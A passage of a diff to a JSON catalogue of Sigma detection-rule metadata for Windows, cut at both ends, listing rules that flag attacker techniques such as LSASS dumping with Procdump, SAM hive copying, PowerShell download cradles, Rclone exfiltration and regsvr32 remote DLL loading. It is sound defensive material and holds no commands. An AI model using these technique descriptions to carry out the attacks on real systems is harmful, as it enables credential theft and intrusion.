+ }, + "uuid": "09576804-7a05-458e-a817-eb718ca91f54", + "value": "Suspicious PowerShell IEX Execution Patterns" + }, + { + "description": "Detects suspicious powershell invocations from interpreters or unusual programs", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/01/16", + "falsepositive": [ + "Microsoft Operations Manager (MOM)", + "Other scripts" + ], + "filename": "proc_creation_win_susp_powershell_parent_combo.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.carbonblack.com/2017/03/15/attackers-leverage-excel-powershell-dns-latest-non-malware-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_parent_combo.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "95eadcb2-92e4-4ed1-9031-92547773a6db", + "value": "Suspicious PowerShell Invocation Based on Parent Process" + }, + { + "description": "Detects a suspicious parents of powershell.exe", + "meta": { + "author": "Teymur Kheirkhabarov, Harish Segar (rule)", + "creation_date": "2020/03/20", + "falsepositive": [ + "Other scripts" + ], + "filename": "proc_creation_win_susp_powershell_parent_process.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=26", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_parent_process.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "754ed792-634f-40ae-b3bc-e0448d33f695", + "value": "Suspicious PowerShell Parent Process" + }, + { + "description": "Detects suspicious PowerShell scripts accessing SAM hives", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/07/29", + "falsepositive": [ + "Some rare backup scenarios", + "PowerShell scripts fixing HiveNightmare / SeriousSAM ACLs" + ], + "filename": "proc_creation_win_susp_powershell_sam_access.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/splinter_code/status/1420546784250769408", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_sam_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ] + }, + "uuid": "1af57a4b-460a-4738-9034-db68b880c665", + "value": "PowerShell SAM Copy" + }, + { + "description": "Detects suspicious sub processes spawned by PowerShell", + "meta": { + "author": "Florian Roth, Tim Shelton", + "creation_date": "2022/04/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_powershell_sub_processes.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/ankit_anubhav/status/1518835408502620162", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_sub_processes.yml" + ], + "tags": "No established tags" + }, + "uuid": "e4b6d2a7-d8a4-4f19-acbd-943c16d90647", + "value": "Suspicious PowerShell Sub Processes" + }, + { + "description": "Detects PowerShell command line contents that include a suspicious abnormal casing in the Net.Webclient (e.g. nEt.WEbCliEnT) string as used in obfuscation techniques", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/05/24", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_powershell_webclient_casing.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_webclient_casing.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "c86133ad-4725-4bd0-8170-210788e0a7ba", + "value": "Net WebClient Casing Anomalies" + }, + { + "description": "Detects a certain command line flag combination used by Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/11", + "falsepositive": [ + "Other tools with the same command line flag combination", + "Legitimate uses as part of Visual Studio development" + ], + "filename": "proc_creation_win_susp_pressynkey_lolbin.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mrd0x/status/1463526834918854661", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pressynkey_lolbin.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "a20391f8-76fb-437b-abc0-dba2df1952c6", + "value": "NodejsTools PressAnyKey Lolbin" + }, + { + "description": "Attackers can use print.exe for remote file copy", + "meta": { + "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative", + "creation_date": "2020/10/05", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_print.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Print/", + "https://twitter.com/Oddvarmoe/status/985518877076541440", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_print.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "bafac3d6-7de9-4dd9-8874-4a1194b493ed", + "value": "Abusing Print Executable" + }, + { + "description": "Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process. This way we're also able to catch cases in which the attacker has renamed the procdump executable.", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/10/30", + "falsepositive": [ + "Unlikely, because no one should dump an lsass process memory", + "Another tool that uses the command line switches of Procdump" + ], + "filename": "proc_creation_win_susp_procdump_lsass.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_procdump_lsass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.credential_access", + "attack.t1003.001", + "car.2013-05-009" + ] + }, + "uuid": "5afee48e-67dd-4e03-a783-f74259dcf998", + "value": "Suspicious Use of Procdump on LSASS" + }, + { + "description": "Detects suspicious use of Process Hacker, a tool to view and manipulate processes, kernel options and other low level stuff", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/10/10", + "falsepositive": [ + "Sometimes used by developers or system administrators for debugging purposes" + ], + "filename": "proc_creation_win_susp_process_hacker.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://processhacker.sourceforge.io/", + "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_process_hacker.yml" + ], + "tags": "No established tags" + }, + "uuid": "811e0002-b13b-4a15-9d00-a613fce66e42", + "value": "Process Hacker Usage" + }, + { + "description": "Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/11", + "falsepositive": [ + "Legitimate tools that accidentally match on the searched patterns" + ], + "filename": "proc_creation_win_susp_progname.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_progname.yml" + ], + "tags": "No established tags" + }, + "uuid": "efdd8dd5-cee8-4e59-9390-7d4d5e4dd6f6", + "value": "Suspicious Program Names" + }, + { + "description": "Detects user accept agreement execution in psexec commandline", + "meta": { + "author": "omkar72", + "creation_date": "2020/10/30", + "falsepositive": [ + "Administrative scripts." + ], + "filename": "proc_creation_win_susp_psexec_eula.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexec_eula.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569", + "attack.t1021" + ] + }, + "uuid": "730fc21b-eaff-474b-ad23-90fd265d4988", + "value": "Psexec Accepteula Condition" + }, + { + "description": "Detects launch of the PSEXESVC service, which means that this system was the target of a psexec remote execution", + "meta": { + "author": "Romaissa Adjailia, FLorian Roth", + "creation_date": "2022/07/21", + "falsepositive": [ + "Legitimate administrative tasks" + ], + "filename": "proc_creation_win_susp_psexesvc.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.youtube.com/watch?v=ro2QuZTIMBM", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "fdfcbd78-48f1-4a4b-90ac-d82241e368c5", + "value": "PsExec Service Execution" + }, + { + "description": "Detects suspicious launch of the PSEXESVC service on this system and a sub process run as LOCAL_SYSTEM (-s), which means that someone remotely started a command on this system running it with highest privileges and not only the privileges of the login user account (e.g. the administrator account)", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/07/21", + "falsepositive": [ + "Legitimate administrative tasks" + ], + "filename": "proc_creation_win_susp_psexesvc_as_system.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc_as_system.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "7c0dcd3d-acf8-4f71-9570-f448b0034f94", + "value": "PsExec Service Execution as LOCAL SYSTEM" + }, + { + "description": "Detects suspicious launch of a renamed version of the PSEXESVC service with, which is not often used by legitimate administrators", + "meta": { + "author": "FLorian Roth", + "creation_date": "2022/07/21", + "falsepositive": [ + "Legitimate administrative tasks" + ], + "filename": "proc_creation_win_susp_psexesvc_renamed.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.youtube.com/watch?v=ro2QuZTIMBM", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexesvc_renamed.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "51ae86a2-e2e1-4097-ad85-c46cb6851de4", + "value": "Renamed PsExec Service Execution" + }, + { + "description": "Detects suspicious flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights", + "meta": { + "author": "Florian Roth, Nasreddine Bencherchali", + "creation_date": "2021/11/23", + "falsepositive": [ + "Admins that use PsExec or PAExec to escalate to the SYSTEM account for maintenance purposes (rare)" + ], + "filename": "proc_creation_win_susp_psexex_paexec_escalate_system.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.poweradmin.com/paexec/", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexex_paexec_escalate_system.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ] + }, + "uuid": "8834e2f7-6b4b-4f09-8906-d2276470ee23", + "value": "PsExec/PAExec Escalation to LOCAL SYSTEM" + }, + { + "description": "Detects suspicious flags used by PsExec and PAExec but no usual program name in command line", + "meta": { + "author": "Florian Roth, Nasreddine Bencherchali", + "creation_date": "2021/05/22", + "falsepositive": [ + "Weird admins that rename their tools", + "Software companies that bundle PsExec/PAExec with their software and rename it, so that it is less embarrassing" + ], + "filename": "proc_creation_win_susp_psexex_paexec_flags.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.poweradmin.com/paexec/", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexex_paexec_flags.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1587.001" + ] + }, + "uuid": "207b0396-3689-42d9-8399-4222658efc99", + "value": "PsExec/PAExec Flags" + }, + { + "description": "Threat actors can use the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery.", + "meta": { + "author": "Nasreddine Bencherchali @nas_bench", + "creation_date": "2021/12/18", + "falsepositive": [ + "Another tool that uses the command line switches of PsLogList", + "Legitimate use of PsLogList by an administrator" + ], + "filename": "proc_creation_win_susp_psloglist.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Sysinternals/PsLogList", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psloglist.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087", + "attack.t1087.001", + "attack.t1087.002" + ] + }, + "uuid": "aae1243f-d8af-40d8-ab20-33fc6d0c55bc", + "value": "Suspicious Use of PsLogList" + }, + { + "description": "The psr.exe captures desktop screenshots and saves them on the local machine", + "meta": { + "author": "Beyu Denis, oscd.community", + "creation_date": "2019/10/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_psr_capture_screenshots.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Psr/", + "https://www.sans.org/summit-archives/file/summit-archive-1493861893.pdf", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psr_capture_screenshots.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ] + }, + "uuid": "2158f96f-43c2-43cb-952a-ab4580f32382", + "value": "Psr.exe Capture Screenshots" + }, + { + "description": "Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder", + "meta": { + "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", + "creation_date": "2019/01/09", + "falsepositive": [ + "Administrative scripts" + ], + "filename": "proc_creation_win_susp_ps_appdata.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/JohnLaTwC/status/1082851155481288706", + "https://app.any.run/tasks/f87f1c4e-47e2-4c46-9cf4-31454c06ce03", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_appdata.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "ac175779-025a-4f12-98b0-acdaeb77ea85", + "value": "PowerShell Script Run in AppData" + }, + { + "description": "Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/08/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_ps_downloadfile.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_downloadfile.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.command_and_control", + "attack.t1104", + "attack.t1105" + ] + }, + "uuid": "8f70ac5f-1f6f-4f8e-b454-db19561216c5", + "value": "PowerShell DownloadFile" + }, + { + "description": "Detects suspicious UTF16 and base64 encoded and often obfuscated PowerShell code often used in command lines", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/07/11", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_ps_encoded_obfusc.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/fcadca91-3580-4ede-aff4-4d2bf809bf99/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_encoded_obfusc.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "8d01b53f-456f-48ee-90f6-bc28e67d4e35", + "value": "Suspicious PowerShell Obfuscated PowerShell Code" + }, + { + "description": "An adversary may use Radmin Viewer Utility to remotely control Windows device", + "meta": { + "author": "frack113", + "creation_date": "2022/01/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_radmin.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1072/T1072.md", + "https://www.radmin.fr/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_radmin.yml" + ], + "tags": [ + "attack.execution", + "attack.lateral_movement", + "attack.t1072" + ] + }, + "uuid": "5817e76f-4804-41e6-8f1d-5fa0b3ecae2d", + "value": "Use Radmin Viewer Utility" + }, + { + "description": "Detects the use of rar.exe, on the command line, to create an archive with password protection or with a specific compression level. This is pretty indicative of malicious actions.", + "meta": { + "author": "@ROxPinTeddy", + "creation_date": "2020/05/12", + "falsepositive": [ + "Legitimate use of Winrar command line version", + "Other command line tools, that use these flags" + ], + "filename": "proc_creation_win_susp_rar_flags.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/", + "https://ss64.com/bash/rar.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rar_flags.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ] + }, + "uuid": "faa48cae-6b25-4f00-a094-08947fef582f", + "value": "Rar Usage with Password and Compression Level" + }, + { + "description": "Detects suspicious process related to rasdial.exe", + "meta": { + "author": "juju4", + "creation_date": "2019/01/16", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "filename": "proc_creation_win_susp_rasdial_activity.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/subTee/status/891298217907830785", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rasdial_activity.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059" + ] + }, + "uuid": "6bba49bf-7f8c-47d6-a1bb-6b4dece4640e", + "value": "Suspicious RASdial Activity" + }, + { + "description": "Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM", + "meta": { + "author": "Florian Roth, Maxime Thiebaut", + "creation_date": "2021/08/23", + "falsepositive": [ + "User selecting a different installation folder (check for other sub processes of this explorer.exe process)" + ], + "filename": "proc_creation_win_susp_razorinstaller_explorer.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/j0nh4t/status/1429049506021138437", + "https://streamable.com/q2dsji", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_razorinstaller_explorer.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1553" + ] + }, + "uuid": "a4eaf250-7dc1-4842-862a-5e71cd59a167", + "value": "Suspicious RazerInstaller Explorer Subprocess" + }, + { + "description": "Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc", + "meta": { + "author": "Bhabesh Raj, Sittikorn S, Aaron Greetham (@beardofbinary) - NCC Group", + "creation_date": "2021/05/10", + "falsepositive": [ + "Legitimate RClone use" + ], + "filename": "proc_creation_win_susp_rclone_execution.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", + "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone", + "https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rclone_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.002" + ] + }, + "uuid": "e37db05d-d1f9-49c8-b464-cee1a4b11638", + "value": "Rclone Execution via Command Line or PowerShell" + }, + { + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", + "meta": { + "author": "frack113", + "creation_date": "2021/07/30", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_recon.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon.yml" + ], + "tags": [ + "attack.collection", + "attack.t1119" + ] + }, + "uuid": "aa2efee7-34dd-446e-8a37-40790a66efd7", + "value": "Recon Information for Export with Command Prompt" + }, + { + "description": "Detects a set of suspicious network related commands often used in recon stages", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/07", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "filename": "proc_creation_win_susp_recon_network_activity.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon_network_activity.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087", + "attack.t1082", + "car.2016-03-001" + ] + }, + "uuid": "e6313acd-208c-44fc-a0ff-db85d572e90e", + "value": "Network Reconnaissance Activity" + }, + { + "description": "Detects a regedit started with TrustedInstaller privileges or by ProcessHacker.exe", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/05/27", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_susp_regedit_trustedinstaller.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/1kwpeter/status/1397816101455765504", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regedit_trustedinstaller.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ] + }, + "uuid": "883835a7-df45-43e4-bf1d-4268768afda4", + "value": "Regedit as Trusted Installer" + }, + { + "description": "Detects using register-cimprovider.exe to execute arbitrary dll file.", + "meta": { + "author": "Ivan Dyachkov, Yulia Fomina, oscd.community", + "creation_date": "2020/10/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_register_cimprovider.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/PhilipTsukerman/status/992021361106268161", + "https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_register_cimprovider.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574" + ] + }, + "uuid": "a2910908-e86f-4687-aeba-76a5f996e652", + "value": "DLL Execution Via Register-cimprovider.exe" + }, + { + "description": "Detects when the registration of a VSS/VDS Provider as a COM+ application.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/11/05", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_registration_via_cscript.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20", + "https://ss64.com/vb/cscript.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_registration_via_cscript.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "28c8f68b-098d-45af-8d43-8089f3e35403", + "value": "Suspicious Registration via cscript.exe" + }, + { + "description": "Detects various anomalies in relation to regsvr32.exe", + "meta": { + "author": "Florian Roth, oscd.community, Tim Shelton", + "creation_date": "2019/01/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_regsvr32_anomalies.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://subt0x10.blogspot.de/2017/04/bypass-application-whitelisting-script.html", + "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_anomalies.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010", + "car.2019-04-002", + "car.2019-04-003" + ] + }, + "uuid": "8e2b24c9-4add-46a0-b4bb-0057b4e6187d", + "value": "Regsvr32 Anomaly" + }, + { + "description": "Detects a flag anomaly in which regsvr32.exe uses a /i flag without using a /n flag at the same time", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/07/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_regsvr32_flags_anomaly.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/sbousseaden/status/1282441816986484737?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_flags_anomaly.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ] + }, + "uuid": "b236190c-1c61-41e9-84b3-3fe03f6d76b0", + "value": "Regsvr32 Flags Anomaly" + }, + { + "description": "Detects a certain command line flag combination used by regsvr32 when used to download and register a DLL from a remote address which uses HTTP (not HTTPS) and a IP address and not FQDN", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/11", + "falsepositive": [ + "FQDNs that start with a number" + ], + "filename": "proc_creation_win_susp_regsvr32_http_pattern.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mrd0x/status/1461041276514623491c19-ps", + "https://twitter.com/tccontre18/status/1480950986650832903", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_http_pattern.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ] + }, + "uuid": "2dd2c217-bf68-437a-b57c-fe9fd01d5de8", + "value": "Suspicious Regsvr32 HTTP IP Pattern" + }, + { + "description": "Detects execution of REGSVR32.exe with DLL masquerading as image files", + "meta": { + "author": "frack113", + "creation_date": "2021/11/29", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_regsvr32_image.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://guides.lib.umich.edu/c.php?g=282942&p=1885348", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_image.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ] + }, + "uuid": "089fc3d2-71e8-4763-a8a5-c97fbb0a403e", + "value": "Suspicious Regsvr32 Execution With Image Extension" + }, + { + "description": "Detects a regsvr.exe execution that doesn't contain a DLL in the command line", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/07/17", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_regsvr32_no_dll.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_no_dll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574", + "attack.execution" + ] + }, + "uuid": "50919691-7302-437f-8e10-1fe088afa145", + "value": "Regsvr32 Command Line Without DLL" + }, + { + "description": "Detects REGSVR32.exe to execute DLL hosted on remote shares", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/31", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_regsvr32_remote_share.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_remote_share.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ] + }, + "uuid": "88a87a10-384b-4ad7-8871-2f9bf9259ce5", + "value": "Suspicious Regsvr32 Execution From Remote Share" + }, + { + "description": "Detects \"regsvr32.exe\" spawning \"explorer.exe\", which is very uncommon.", + "meta": { + "author": "elhoim", + "creation_date": "2022/05/05", + "falsepositive": [ + 